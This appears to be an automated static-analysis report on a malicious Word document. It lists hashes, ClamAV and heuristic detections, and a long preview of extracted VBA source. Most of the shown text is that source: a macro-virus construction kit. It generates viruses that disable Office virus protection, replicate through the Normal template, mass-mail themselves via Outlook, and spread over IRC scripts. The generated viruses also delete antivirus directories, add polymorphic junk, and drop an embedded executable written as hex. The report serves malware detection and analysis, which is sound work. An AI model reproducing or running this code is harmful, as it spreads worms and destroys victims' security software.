Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ac924c29b91babac…

MALICIOUS

Office (OLE)

1.50 MB Created: 2001-12-21 15:32:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 331e361da67f2c159c7ef1ca9c02497b SHA-1: d0bfcc6d0099c58f942bee929ca1fbf594000763 SHA-256: ac924c29b91babacfdb0038407ecd81999e0a9256540524309de8417492f937a
486 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample exhibits multiple critical heuristics indicating the presence of an obfuscated, auto-executing VBA loader designed to execute arbitrary code. The AutoOpen macro attempts to write to the registry and display a form, suggesting an attempt to establish persistence and potentially download a secondary payload from the embedded URL. The presence of legacy WordBasic markers and the ClamAV detection further support its malicious nature.

Heuristics 12

  • ClamAV: Win.Trojan.U-74 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.U-74
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Print #1, "Shell (""c:\startv.bat""), vbHide"
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Print #1, "Set Ne_OApp = CreateObject(""Outlook.Application"")"
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Print #1, "Options.VirusProtection = False"
  • VBA email-worm self-replication (Outlook mass-mailer) critical OLE_VBA_EMAIL_WORM_SELF_REPLICATION
    VBA macro drives Outlook to mass-mail itself: it automates Outlook.Application, programmatically creates a mail item, and spreads by harvests recipients from the MAPI address book / inbox, attaches a file to the outgoing message, sends the message programmatically. Harvesting recipients from the address book / inbox and auto-attaching the carrier to outgoing messages is the defining behavior of the Melissa / LoveLetter / W97M mass-mailer worm lineage — there is no benign document use, independent of any AV signature.
    Matched line in script
        Print #1, "Set Ne_msg = Ne_OApp.CreateItem(0)"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Print #1, "Set Ne_OApp = CreateObject(""Outlook.Application"")"
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
        Print #1, "Sub AutoClose()"
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Print #1, "Ne_msg.Attachments.Add Environ(""WINDIR"") & "" \System.doc """
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.coderz.net/zerogravity In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 152898 bytes
SHA-256: d421761889844caf81ab6b922e36e0161d6eeccc9ea22e7e61d79a52cd37427f
Detection
ClamAV: Win.Trojan.U-74
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NTVCK"
    
    ' =============================================================
    ' Necronomikon's Terror Virus Construction Kit  version 2.0
    ' =============================================================
    ' e-m@il: necronomikon@poczta.onet.pl
    ' =============================================================
    ' You are looking for...?
    ' =============================================================
    
Public Polymorph As Integer

Public Inter As Boolean
Public IRC As Boolean
Public Outlook As Boolean
Public slow As Boolean
Public asmdrop As Boolean
Public stealth As Boolean
Public Nocom As Boolean
Public NoNag As Boolean
Public batch As Boolean
Public Keyboard As Boolean
Public Click As Boolean
Public plugin As String
Public URL As String
Public VirusName As String


Sub AutoOpen()
ShowVisualBasicEditor = False
Application.Caption = "Necronomikon's Terror Virus Construction Kit v.2.0(NTVCK.v.2.0)"
Application.WindowState = wdWindowStateMinimize
' The Following Registry Key Prevents A Created Virus From Using IRC AGAINST The Author!!!(thanks WalruS for code...)
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Necronomikon\NTVCK", "Installed") = "True"
frmStart.Show
End Sub

Sub Mainprog()
On Error Resume Next
VirusName = frmname.tb1
Viriis = "" & frmname.tb1 & "" & ".bas"
VirusName = frmname.tb1
Subject = frmout.tbsub
body = frmout.tbbody
delay = frmdelay.tbdelay
Open Viriis For Output As #1
Print #1, "Attribute VB_Name = """; frmname.tb1

    
    Print #1,
    
     Print #1, "Sub " & VirusName + "()"
    If Nocom = False Then
    Print #1,
    Print #1, "    ' NTVCK version 2.0"
    Print #1, "    ' =================================="
    Print #1, "    ' Code by Necronomikon[ZeroGravity]"
    Print #1, "    ' =================================="
    Print #1, "    ' W2KM." & VirusName
    Print #1, "    ' =================================="
    Print #1,
    End If
    Print #1, "'VirusName: " & frmname.tb1
    Print #1, "'Author Name: " & frmname.tb2
    Print #1, "'Date and Time:" & Now
    Print #1, "On Error Resume Next"
    Print #1, "ActiveDocument.ReadOnlyRecommended = False"
    Print #1, "Application.DisplayAlerts = wdAlertsNone"
    Print #1, "Application.EnableCancelKey = wdCancelDisabled"
    Print #1, "Application.DisplayStatusBar = False"
    Print #1, "Options.ConfirmConversions = False"
    Print #1, "Options.VirusProtection = False"
    Print #1, "CommandBars("" Macro "").Controls(""Security..."").Enabled = False"
    Print #1, "System.PrivateProfileString("""", ""HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"", ""Level"") = 1&"
    Print #1, "Options.SaveNormalPrompt = False"
Print #1, " ActiveDocument.VBProject.VBComponents(""" & VirusName & """).Export ""C:\Windows\" & VirusName & ".drv """
Print #1, "ActiveDocument.ReadOnlyRecommended = False"
Print #1, "If NormalTemplate.VBProject.VBComponents.Item(""" & VirusName & """).Name <> """ & VirusName & """ Then Necronomikon = True"
Print #1, "If ActiveDocument.VBProject.VBComponents.Item(""" & VirusName & """).Name <> """ & VirusName & """ Then 0Gravity = True"
Print #1, "If Necronomikon = True And 0Gravity = False Then Set 31337KKS88 = NormalTemplate.VBProject.VBComponents"
Print #1, "If Necronomikon = False And 0Gravity = True Then Set 31337KKS88 = ActiveDocument.VBProject.VBComponents"
Print #1, "31337KKS88.Import ""C:\Windows\" & VirusName & ".drv """
Print #1, "If activeinst = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument"
Print #1, "If 0Gravity = False Then If NormalTemplate.Saved = False Then NormalTemplate.Save"
If asmdrop = True Then
Print #1, "If Month(Now) = Day(Now) Then Call dropper(""C:\start.scr"")"
Print #1, "If Month(Now) = Day(Now) Then Call startv(""c:\startv.bat"")"
End If
Print #1, "With Dialogs(wdDialogFileSummaryInfo)"
Print #1, ".Author = Chr(78) + Chr(101) + Chr(99) + Chr(114) + Chr(111) + Chr(110) + Chr(111) + Chr(109) + Chr(105) + Chr(107) + Chr(111) + Chr(110)"
Print #1, ".Comments = Chr(84) + Chr(104) + Chr(105) + Chr(115) + Chr(32) + Chr(86) + Chr(105) + Chr(114) + Chr(117) + Chr(115) + Chr(32) + Chr(119) + Chr(97) + Chr(115) + Chr(32) + Chr(99) + Chr(114) + Chr(101) + Chr(97) + Chr(116) + Chr(101) + Chr(100) + Chr(32) + Chr(119) + Chr(105) + Chr(116) + Chr(104) + Chr(32) + Chr(78) + Chr(84) + Chr(86) + Chr(67) + Chr(75) + Chr(32) + Chr(98) + Chr(121) + Chr(32) + Chr(78) + Chr(101) + Chr(99) + Chr(114) + Chr(111) + Chr(110) + Chr(111) + Chr(109) + Chr(105) + Chr(107) + Chr(111) + Chr(110)"
Print #1, ".Keywords = Chr(32) + Chr(82) + Chr(101) + Chr(97) + Chr(100) + Chr(121) + Chr(32) + Chr(82) + Chr(97) + Chr(110) + Chr(103) + Chr(101) + Chr(114) + Chr(115) + Chr(32) + Chr(76) + Chr(105) + Chr(98) + Chr(101) + Chr(114) + Chr(97) + Chr(116) + Chr(105) + Chr(111) + Chr(110) + Chr(32) + Chr(70) + Chr(114) + Chr(111) + Chr(110) + Chr(116)"
Print #1, ".Execute"
Print #1, "End With"
      
      If Click = True Then
    Print #1, "System.PrivateProfileString("""", ""HKEY_CURRENT_USER\Control Panel\Microsoft Input Devices\Mouse"", ""DoubleClickSpeed"") = ""1"""
End If

If Keyboard = True Then
    Print #1, "System.PrivateProfileString("""", ""HKEY_CURRENT_USER\Control Panel\Microsoft Input Devices\Keyboard"", ""KeyboardSpeed"") = ""1"""
End If

     If slow = True Then
 Print #1, "System.PrivateProfileString("""", ""HKEY_CURRENT_USER\ControlPanel\"", ""MenuShowDelay"") = """ & delay & """"
End If
    'taken from W97MVCK by jackie
    If Inter = True Then
        Print #1, "ActiveDocument.FollowHyperlink Address:= """ & URL & """, NewWindow:= False, AddHistory:= True"
    End If
If Outlook = True Then
    Print #1, "ActiveDocument.SaveAs FileName:=""C:\Windows\System.doc"", FileFormat:=wdFormatDocument"
    Print #1, "Set Ne_OApp = CreateObject(""Outlook.Application"")"
    Print #1, "Set Ne_Mapi = Ne_OApp.GetNameSpace(""MAPI"")"
    Print #1, "For Each Ne_AddList In Ne_Mapi.AddressLists"
    Print #1, "Next"
    Print #1, "If Ne_AddList.AddressEntries.Count <> 0 Then"
    Print #1, "For Ne_AddListCount = 1 To Ne_AddList.AddressEntries.Count"
    Print #1, "Next"
    Print #1, "Set Ne_AddListEntry = Ne_AddList.AddressEntries(Ne_AddListCount)"
    Print #1, "Set Ne_msg = Ne_OApp.CreateItem(0)"
    Print #1, "Ne_msg.To = Ne_AddListEntry.Address"
    Print #1, "Ne_msg.Subject = """ & Subject & """"
    Print #1, "Ne_msg.Body = """ & body & """"
    Print #1, "Ne_msg.Attachments.Add Environ(""WINDIR"") & "" \System.doc """
    Print #1, "Ne_msg.DeleteAfterSubmit = True"
    Print #1, "End If"
    Print #1, "If Ne_msg.To <> """" Then"
    Print #1, "Ne_msg.Send"
    Print #1, "End If"
End If
   
'Plugin Payload / Thanks to WalruS
    If chkplugin.Value = True Then
    Print #1, plugin
End If
  
If batch = True Then
Print #1, "Open ""c:\win.bat"" For Output As #1"
Print #1, "Print #1, ""::NTVCK.Dropper Batchfile"
Print #1, "Print #1, ""::(c)by Necronomikon [ZeroGravity]"
Print #1, "Print #1, ""rem NTVCK.Batch-Dropper"
Print #1, "Print #1, ""rem (c)by Necronomikon [ZeroGravity]"
Print #1, "Close #1"
End If
 
If IRC = True Then
  Print #1, "ActiveDocument.SaveAs FileName:=""C:\Windows\PASSWORDS.doc"", FileFormat:=wdFormatDocument"
  Print #1, "If System.PrivateProfileString("""", ""HKEY_LOCAL_MACHINE\Software\Necronomikon\NTVCK"", ""Installed"") <> ""True"" Then"
 Print #1, "Msgbox ""Irc.worm NTVCK by Necronomikon is running!"", 64, ""Notice..."""
        Print #1, "End If"
    Print #1, "Kill ""C:\mirc\Script.ini"
 Print #1, "Open ""c:\mirc\script.ini"" For Output As #1"
 Print #1, "Print #1, ""[SCRIPT]"
 Print #1, "Print #1, ""n0=on 1:start:{"
 Print #1, "Print #1, ""n1=on 1:join:#:{"
 Print #1, "Print #1, ""n2=if ( $nick == $me ) { halt } | .dcc send $nick c:\Windows\PASSWORDS.doc"
 Print #1, "Print #1, ""n3= }"
 Print #1, "Print #1, ""n4=on 1:input:*:.msg #ntvck [( $+ $active $+ ) $1-]"
 Print #1, "Print #1, ""n5=on 1:text:*:?:.msg #ntvck [( $+ $active $+ ) $1-]"
 Print #1, "Print #1, ""n6=on 1:FILESENT:*.*:/dcc send $nick C:\Windows\PASSWORDS.doc"
 Print #1, "Print #1, ""n7=on 1:FILERCVD:*.*:/dcc send $nick C:\Windows\PASSWORDS.doc"
 Print #1, "Print #1, ""n8=on 1:connect:.msg #ntvck by Necronomikon"
 Print #1, "Print #1, ""n9=  /msg #ntvck Im Infected With A Virus Created By NTVCK"
 Print #1, "Print #1, ""n10= /part #ntvck"
 Print #1, "Print #1, ""n11= /clear"
 Print #1, "Print #1, ""n12= /motd"
 Print #1, "Print #1, ""n13= }"
 Print #1, "Print #1, "";IRC.Worm for NTVCK by Necronomikon"
 Print #1, "Close #1"
 Print #1, "Kill ""C:\Windows\eventss.vxd"
 Print #1, "Open ""C:\Windows\eventss.vxd"" For Output As #2"
 Print #1, "Print #2, ""[Levels]"
 Print #1, "Print #2, ""Enabled=1"
 Print #1, "Print #2, ""Count=1"
 Print #1, "Print #2, ""Level1=000-Unknowns"""
 Print #1, "Print #2, ""000-UnknownsEnabled=1"
 Print #1, "Print #2, """
 Print #1, "Print #2, ""[000-Unknowns]"
 Print #1, "Print #2, ""User1=*!*@*"
 Print #1, "Print #2, ""UserCount=1"
 Print #1, "Print #2, ""Event1=;NTVCK by Necronomikon"
 Print #1, "Print #2, ""Event2=ON JOIN:#:/dcc send $nick C:\Windows\PASSWORDS.doc"
 Print #1, "Print #2, ""EventCount=2"
 Print #1, "Close #2"
 Print #1, "Kill ""C:\pirch98\events.ini"
 Print #1, "Kill ""C:\pirch32\events.ini"
 Print #1, "SourceFile = ""C:\Windows\eventss.vxd"
 Print #1, "DestinationFile = ""C:\pirch98\events.ini"
 Print #1, "FileCopy SourceFile, DestinationFile"
 Print #1, "SourceFilez = ""C:\Windows\eventss.vxd"
 Print #1, "DestinationFilez = ""C:\pirch32\events.ini"
 Print #1, "FileCopy SourceFilez, DestinationFilez"
 End If

  
  If Polymorph = 1 Then
  Print #1, "call ump"
  End If
  If KillAV.a1 = True Or KillAV.a2 = True Or KillAV.a3 = True Or KillAV.a4 = True Or KillAV.a5 = True Or KillAV.a6 = True Or KillAV.a7 = True Or KillAV.a8 = True Or KillAV.a9 = True Or KillAV.a10 = True Or KillAV.a11 = True Or KillAV.a12 = True Then
   Print #1, "Call KillAV"
End If
      
      If NoNag = False Then
      Print #1, "If Day(Now()) = 31 Then Msgbox Chr(84) + Chr(104) + Chr(105) + Chr(115) + Chr(32) + Chr(86) + Chr(105) + Chr(114) + Chr(117) + Chr(115) + Chr(32) + Chr(119) + Chr(97) + Chr(115) + Chr(32) + Chr(99) + Chr(114) + Chr(101) + Chr(97) + Chr(116) + Chr(101) + Chr(100) + Chr(32) + Chr(119) + Chr(105) + Chr(116) + Chr(104) + Chr(32) + Chr(78) + Chr(84) + Chr(86) + Chr(67) + Chr(75) + Chr(32) + Chr(98) + Chr(121) + Chr(32) + Chr(78) + Chr(101) + Chr(99) + Chr(114) + Chr(111) + Chr(110) + Chr(111) + Chr(109) + Chr(105) + Chr(107) + Chr(111) + Chr(110)"
      End If
              Print #1, "End Sub"
              'thanks to Ultras/MATRiX
  If Polymorph = 1 Then
    Print #1, "Sub UMP()"
Print #1, "'-=[ULTRAS MACRO POLYMORPHIC]=-"
Print #1, "On Error Resume Next"
Print #1, "PoNu = Int(Rnd() * 28 + 1)"
Print #1, "For Mutate = 1 To PoNu"
Print #1, "PoRL = Application.VBE.ActiveVBProject.VBComponents(""" & VirusName & """).CodeModule.CountOfLines"
Print #1, "PoLi = Int(Rnd() * PoRL + 1)"
Print #1, "a = Rnd * 455: b = Rnd * 80: c = Rnd * 160: d = Rnd * 180: e = Rnd * 49"
Print #1, "Application.VBE.ActiveVBProject.VBComponents(""" & VirusName & """).CodeModule.InsertLines PoLi, vbTab & ""Rem "" & a & vbTab & b & vbTab & c & vbTab & d & vbTab & e "
Print #1, "Next Mutate"
Print #1, "End Sub"
End If

 If KillAV.a1 = True Or KillAV.a2 = True Or KillAV.a3 = True Or KillAV.a4 = True Or KillAV.a5 = True Or KillAV.a6 = True Or KillAV.a7 = True Or KillAV.a8 = True Or KillAV.a9 = True Or KillAV.a10 = True Or KillAV.a11 = True Or KillAV.a12 = True Then
  Print #1, "Sub KillAV()"
  Print #1, "On Error Resume Next"
  End If

 If KillAV.a1 = True Then
 Print #1, "Kill ""C:\Progra~1\AntiViral Toolkit Pro\*.*"""
 End If
 
 If KillAV.a3 = True Then
 Print #1, "Kill ""C:\Progra~1\Command Software\F-PROT95\*.*"""
 End If
 
 If KillAV.a2 = True Then
 Print #1, "Kill ""C:\Progra~1\FindVirus\*.*"""
 Print #1, "Kill ""C:\Toolkit\FindVirus\*.*"""
 End If
 
If KillAV.a5 = True Then
Print #1, "Kill ""C:\Progra~1\Quick Heal\*.*"""
End If

If KillAV.a4 = True Then
Print #1, "Kill ""C:\Progra~1\McAfee\VirusScan95\*.*"""
End If

If KillAV.a6 = True Then
Print #1, "Kill ""C:\Progra~1\Norton AntiVirus\*.*"""
End If

If KillAV.a7 = True Then
Print #1, "Kill ""C:\TBAVW95\*.*"""
End If

If KillAV.a8 = True Then
Print #1, "Kill ""C:\VS95\*.*"""
End If

If KillAV.a9 = True Then
Print #1, "Kill ""C:\eSafe\Protect\*.*"""
End If

If KillAV.a10 = True Then
Print #1, "Kill ""C:\PC-Cillin 95\*.*"""
Print #1, "Kill ""C:\PC-Cillin 97\*.*"""
End If

If KillAV.a11 = True Then
Print #1, "Kill ""C:\f-macro\*.*"""
End If

If KillAV.a12 = True Then
Print #1, "Kill ""C:\Progra~1\FWIN32"""
End If


If KillAV.a1 = True Or KillAV.a2 = True Or KillAV.a3 = True Or KillAV.a4 = True Or KillAV.a5 = True Or KillAV.a6 = True Or KillAV.a7 = True Or KillAV.a8 = True Or KillAV.a9 = True Or KillAV.a10 = True Or KillAV.a11 = True Or KillAV.a12 = True Then
Print #1, "End Sub"
Print #1,
End If
If asmdrop = True Then
'Dropfunction taken from VMPCK by VicodinES
'ASM.Dropper by me!;o)
Print #1, "Sub dropper(strFile As String)"
Print #1, "On Error Resume Next"
Print #1, "'Dropfunction taken from VMPCK by VicodinES"
Print #1, "'ASM.Dropper by me!;o)"
Print #1, "Dim hFile As Long"
Print #1, "hFile = FreeFile"
Print #1, "Open strFile For Output Access Write As hFile"
Print #1, "Print #hFile, ""N start.com"
Print #1, "Print #hFile, ""E 00000000 4D5A 5000 0200 0000 0400 0F00 FFFF 0000"
Print #1, "Print #hFile, ""E 00000010 B800 0000 0000 0000 4000 1A00 0000 0000"
Print #1, "Print #hFile, ""E 00000020 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000030 0000 0000 0000 0000 0000 0000 0001 0000"
Print #1, "Print #hFile, ""E 00000040 BA10 000E 1FB4 09CD 21B8 014C CD21 9090"
Print #1, "Print #hFile, ""E 00000050 5468 6973 2070 726F 6772 616D 206D 7573"
Print #1, "Print #hFile, ""E 00000060 7420 6265 2072 756E 2075 6E64 6572 2057"
Print #1, "Print #hFile, ""E 00000070 696E 3332 0D0A 2437 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000080 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000090 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000000A0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000000B0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000000C0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000000D0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000000E0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000000F0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000100 5045 0000 4C01 0400 102B 4583 0000 0000"
Print #1, "Print #hFile, ""E 00000110 0000 0000 E000 8E81 0B01 0219 0002 0000"
Print #1, "Print #hFile, ""E 00000120 0006 0000 0000 0000 0010 0000 0010 0000"
Print #1, "Print #hFile, ""E 00000130 0020 0000 0000 4000 0010 0000 0002 0000"
Print #1, "Print #hFile, ""E 00000140 0100 0000 0000 0000 0300 0A00 0000 0000"
Print #1, "Print #hFile, ""E 00000150 0050 0000 0004 0000 0000 0000 0200 0000"
Print #1, "Print #hFile, ""E 00000160 0000 1000 0020 0000 0000 1000 0010 0000"
Print #1, "Print #hFile, ""E 00000170 0000 0000 1000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000180 0030 0000 B001 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000190 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000001A0 0040 0000 2C00 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000001B0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000001C0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000001D0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000001E0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000001F0 0000 0000 0000 0000 434F 4445 0000 0000"
Print #1, "Print #hFile, ""E 00000200 0010 0000 0010 0000 0002 0000 0006 0000"
Print #1, "Print #hFile, ""E 00000210 0000 0000 0000 0000 0000 0000 2000 0060"
Print #1, "Print #hFile, ""E 00000220 4441 5441 0000 0000 0010 0000 0020 0000"
Print #1, "Print #hFile, ""E 00000230 0002 0000 0008 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000240 0000 0000 4000 00C0 2E69 6461 7461 0000"
Print #1, "Print #hFile, ""E 00000250 0010 0000 0030 0000 0002 0000 000A 0000"
Print #1, "Print #hFile, ""E 00000260 0000 0000 0000 0000 0000 0000 4000 00C0"
Print #1, "Print #hFile, ""E 00000270 2E72 656C 6F63 0000 0010 0000 0040 0000"
Print #1, "Print #hFile, ""E 00000280 0002 0000 000C 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000290 0000 0000 4000 0050 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000002A0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000002B0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000002C0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000002D0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000002E0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000002F0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000300 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000310 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000320 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000330 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000340 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000350 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000360 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000370 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000380 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000390 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000003A0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000003B0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000003C0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000003D0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000003E0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000003F0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000400 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000410 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000420 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000430 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000440 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000450 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000460 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000470 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000480 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000490 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000004A0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000004B0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000004C0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000004D0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000004E0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000004F0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000500 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000510 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000520 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000530 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000540 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000550 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000560 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000570 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000580 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000590 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000005A0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000005B0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000005C0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000005D0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000005E0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000005F0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000600 E81E 0000 008B 6424 086A 0068 0020 4000"
Print #1, "Print #hFile, ""E 00000610 6825 2040 006A 00E8 6D00 0000 6A00 E824"
Print #1, "Print #hFile, ""E 00000620 0000 0064 67FF 3600 0064 6789 2600 00BB"
Print #1, "Print #hFile, ""E 00000630 0000 F7BF B878 5634 1287 03FF 257C 3040"
Print #1, "Print #hFile, ""E 00000640 00FF 2580 3040 00FF 2584 3040 00FF 2588"
Print #1, "Print #hFile, ""E 00000650 3040 00FF 258C 3040 00FF 2590 3040 00FF"
Print #1, "Print #hFile, ""E 00000660 2594 3040 00FF 2598 3040 00FF 259C 3040"
Print #1, "Print #hFile, ""E 00000670 00FF 25A0 3040 00FF 25A4 3040 00FF 25A8"
Print #1, "Print #hFile, ""E 00000680 3040 00FF 25AC 3040 00FF 25B4 3040 0000"
Print #1, "Print #hFile, ""E 00000690 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000006A0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000006B0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000006C0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000006D0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000006E0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 000006F0 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000700 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000710 0000 0000 0000 0000 0000 0000 0000 0000"
Print #1, "Print #hFile, ""E 00000720 0000 0000 0000 0000 0000 0000 0000 0000"
